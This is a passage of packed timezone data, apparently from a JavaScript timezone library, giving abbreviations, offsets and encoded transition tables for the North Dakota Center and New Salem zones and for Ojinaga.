Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0|","America/North_Dakota/Center|LMT MST MDT MWT MPT CST CDT|6J.c 70 60 60 60 60 50|0121213412121212121212121212121212121212121212121212121212125656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565|-3tFF0 1nEe0 1nX0 11B0 1nX0 SgN0 8x20 ix0 QwN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 s10 1Vz0 LB0 1BX0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14o0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|","America/North_Dakota/New_Salem|LMT MST MDT MWT MPT CST CDT|6J.D 70 60 60 60 60 50|0121213412121212121212121212121212121212121212121212121212121212121212121212121212565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565|-3tFF0 1nEe0 1nX0 11B0 1nX0 SgN0 8x20 ix0 QwN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 s10 1Vz0 LB0 1BX0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14o0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|","America/Ojinaga|LMT MST CST MDT CDT|6V.E 70 60 60 50|0121312424231313131313131313131313131313131313131313131313132424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242|-1UQF0 deL0 8lc0 17c0 10M0 1dd0 2zQN0 1lb0 14p0 1lb0 14q0 1lb0 14p0 1nX0 11B0 1nX0 1fB0 WL0 1fB0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 U10 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1wn0 Rc0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 